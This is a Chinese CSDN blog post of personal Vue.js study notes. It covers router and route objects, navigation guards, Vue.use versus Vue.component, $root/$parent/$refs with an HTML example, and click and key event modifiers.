Vue使用平时总结知识点

最新推荐文章于 2023-08-20 21:17:02 发布

随丶芯

最新推荐文章于 2023-08-20 21:17:02 发布

阅读量285

点赞数

分类专栏： web

本文链接：https://blog.csdn.net/luohongtucsdn/article/details/100525428

版权

web 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

Vue使用平时总结知识点

router

vue2.0中的$router 和 $route的区别

自己总结：

$router 是路由管理器（管理所有$route 并实现跳转功能） $route 是每个路由对象，包含当前路由的所有元数据

router

router是VueRouter的一个对象，通过Vue.use(VueRouter)和VueRouter构造函数得到一个router的实例对象，这个对象中是一个全局的对象，他包含了所有的路由包含了许多关键的对象和属性。
举例：history对象
$router.push({path:‘home’});本质是向history栈中添加一个路由，在我们看来是切换路由，但本质是在添加一个history记录
方法：
$router.replace({path:‘home’});//替换路由，没有历史记录

route

route是一个跳转的路由对象，每一个路由都会有一个route对象，是一个局部的对象，可以获取对应的name,path,params,query等

$route.path
字符串，等于当前路由对象的路径，会被解析为绝对路径，如 “/home/news” 。
$route.params
对象，包含路由中的动态片段和全匹配片段的键值对
$r o u t e . q u e r y 对象，包含路由中查询参数的键值对。例如，对于 / h o m e / n e w s / d e t a i l / 01 ? f a v o r i t e = y e s ，会得到$ route.query.favorite == ‘yes’ 。
$route.router
路由规则所属的路由器（以及其所属的组件）。
$route.matched
数组，包含当前匹配的路径中所包含的所有片段所对应的配置参数对象。
$route.name
当前路径的名字，如果没有使用具名路径，则名字为空。
$route.path, $route.params, $route.name, $route.query这几个属性很容易理解，看示例就能知道它们代表的含义

导航守卫者

router.beforeEach((to, from, next) => {
  //to 是route  from 也是route 对象
})

Vue.use() 引入组件和 Vue.component() 引入区别

我是这么理解：Vue.component() 是基础方法，所有组件都会调用类似方法
Vue.use() 为什么诞生
现在有这个需求，某些组件是混合其他三方组件，在加载的时候，需要需要处理一些逻辑，我们可以在Vue.component()
时候自己处理，现在这样组件有一个可以这么干，有两个，三个，或者更多了，就不太友好了
Vue.use() 很类似Java后台访问者模式
通过install方法把Vue引用传入到自己组件里面，然后在自己组件，执行一些初始化的操作，然后在执行Vue.component()
然后执行Vue.use()，方法的时候，会执行组件的 install方法
注意：以上是个人理解，请带着批判眼光看，如果有不对，请不吝赐教

Vue $root $parent $refs 三者的区别和作用

作用：

$parent 父组件对象
$root 根组件对象
$refs 获取子组件对象

例子：

<!doctype html>
<html>
<head>
</head>

<body>
<div id ='app'>
<div>
{{ message }}
</div>
<test  ref = 't1'></test>
</div>
</body>
<script src="http://t.cn/RdgHJHU"></script>
<script>
var  test1 = {
name: 'test1',
data(){
  return {
   myMessage:this.$root.$data.message,
   myOne:this.$parent.$data.one
  }
},
template:'<div>I am child one{{myMessage}} ,{{myOne}}</div>'
};
var test = {
name: 'test',
components:{
  'test1':test1
},
data(){
  return {
    one: 'one'
  }
},
template:'<div>test<test1></test1></div>'
};
var vue = new Vue({
el: '#app',
components:{
  'test': test
},
data(){
  return {message: 'hello world'}
}
});

console.log('vue',vue);
console.log('refs',vue.$refs);
console.log('parent',vue.$parent.t1);
console.log('root',vue.$root);
</script>
</html>

vue @click.native.prevent 为什么要加native

组件上调用事件的时候必须加 native,因为是组件非div

@click.prevent @click.stop 区别

@click.stop 阻止事件冒泡
@click.prevent 阻止事件的默认行为，
@keyup.enter
//按下enter时，执行方法test7
<input type=“text” @keyup.enter=“test7”>

随丶芯

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
Vue使用平时总结知识点

Vue使用平时总结知识点目录：Vue使用平时总结知识点routervue2.0中的$router 和 $route的区别自己总结：routerroute导航守卫者Vue.use() 引入组件和 Vue.component() 引入区别Vue $root $parent $refs 三者的区别和作用作用：例子：vue @click.native.prevent 为什么要加native@cli...
复制链接

扫一扫